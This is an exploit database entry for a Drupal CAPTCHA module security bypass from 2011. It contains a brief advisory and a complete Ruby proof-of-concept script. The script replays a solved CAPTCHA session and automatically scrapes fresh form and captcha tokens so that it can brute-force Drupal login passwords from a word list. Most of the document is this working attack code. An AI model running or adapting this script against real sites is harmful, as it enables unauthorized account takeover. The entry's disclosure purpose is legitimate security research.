Drupal Module CAPTCHA – Security Bypass

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• 作者： anonymous
  日期： 2011-02-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35335/

• source: https://www.securityfocus.com/bid/46344/info
  
  The CAPTCHA module for Drupal is prone to a security-bypass vulnerability that occurs in the CAPTCHA authentication routine.
  
  Successful exploits may allow attackers to bypass the CAPTCHA-based authentication routine, allowing attackers to perform brute-force attacks. 
  
  # Drupal Captcha bruteforcing bypass
  
  # This is a Proof Of Concept to demonstrate a logic security flow
  # in the way drupal captcha is used to protect login forms
  # from bruteforce. If the captcha challenge is solved, the next
  # login attempts can be issued without solving any new captcha challenge.
  
  # Usage: change URL, PATH, USERAGENT as you need.
  # Change cookie, captcha_sid, captcha_token, form_build_id with the values
  # you got in the html response AFTER the captcha is solved. This is needed
  # in order to issue the first request as valid.
  # Unique tokens will be then updated automatically .
  
  
  # author: Michele "antisnatchor" Orru'
  
  require "net/http"
  require "net/https"
  require "erb"
  require "singleton"
  require "rubygems"
  require "nokogiri"
  
  
  URL = 'antisnatchor.com'
  PATH = '/user'
  USERAGENT = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13'
  
  # easy to enhance this reading list from a file, but this is just a PoC
  USERNAME_LIST = ['admin']
  PASSWD_LIST = ['test1', 'test2', 'test3', 'guessme']
  
  # these are the session values needed to create valid http requests, after
  # the reCaptcha has been solved the first time, leaving the login form
  # without a new captcha challenge
  cookie = "SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0; has_js=1;"
  captcha_sid = "476"
  form_id = "user_login"
  
  
  # these anti-XSRF tokens will change for every http response,
  # so nokogiri is used to parse the html response in order to create
  # the next http request with the valid anti-xsrf/captcha tokens.
  # These initial values will be changed accordingly and automatically
  # for each request .
  
  captcha_token = "d853d6df05f6c6a956a46f20c8fe20aa"
  form_build_id = "form-43fb0bcbcb140066a782a3fc23ab1ab7"
  
  authenticated = false;
  
  
  @http = Net::HTTP.new(URL, 80)
  @http.use_ssl = false
  
   puts "+Initial xsrf token [" + form_build_id + "]"
   puts "+Initial captcha token [" + captcha_token + "]"
   puts "+Dictionary attack with [" + PASSWD_LIST.size.to_s + "] passwords"
   # I'm learning ruby :-)
   passwd_counter = 0
  
   while !authenticated && passwd_counter < PASSWD_LIST.size do
   puts "+Testing password [" + PASSWD_LIST[passwd_counter] + "]"
  
   post_data = "name=" + USERNAME_LIST[0] + "&pass=" + PASSWD_LIST[passwd_counter] + "&form_build_id=" + form_build_id +
   "&form_id=" + form_id + "&captcha_sid="+ captcha_sid +
   "&captcha_token=" + captcha_token + "&op=Log+in"
  @headers = {
  'Cookie' => cookie,
  'Referer' => 'http://' + URL + PATH,
  'Content-Type' => 'application/x-www-form-urlencoded',
  'User-Agent' => USERAGENT
  }
  
  puts "+Request headers = " + @headers.inspect
  
  resp, data = @http.post2(PATH, post_data, @headers)
  
  # loads the response in nokogiri to parse anti-XSRF tokens
  doc = Nokogiri::HTML(data)
  puts '+Code = ' + resp.code
  puts '+Message = ' + resp.message
  
  
  # "debug" code
  #puts "=================================================== raw response START ======================================================="
  #puts data
  #puts "=================================================== raw response END ======================================================="
  
  if data.index("CAPTCHA session reuse attack detected") != nil
  puts "Doh', we've been detected by Drupal...quitting now"
  break
  end
  
  if data.index("Sorry, unrecognized username or password") == nil && resp.code == "302"
  # if credentials will be valid, there will be a 302 response with
  # a new location header, corresponding to the user home page (http://antisnatchor.com/user/1 for instance)
  authenticated = true
  else
  #parse the anti-xsrf and captcha tokens from the response
  doc.css('input[id^=form]').each do |form_build_id|
  form_build_id = form_build_id['id']
  puts "+New xsrf token [" + form_build_id + "]"
  end
  
  doc.css('input[id^=edit-captcha-token]').each do |captcha_token_id|
  captcha_token = captcha_token_id['value']
  puts "+New captcha token [" + captcha_token + "]"
  end
  
  # I'm still learning ruby :-)
  passwd_counter = passwd_counter + 1;
  
  end
  break if authenticated == true
   end
  
  if authenticated
  puts "+Succesfully authenticated user[" + USERNAME_LIST[0] + "] with password [" + PASSWD_LIST[passwd_counter] + "]"
  else
  puts "+No passwords are valid for user [" + USERNAME_LIST[0] + "]. Dictionary attack failed."
  end
  

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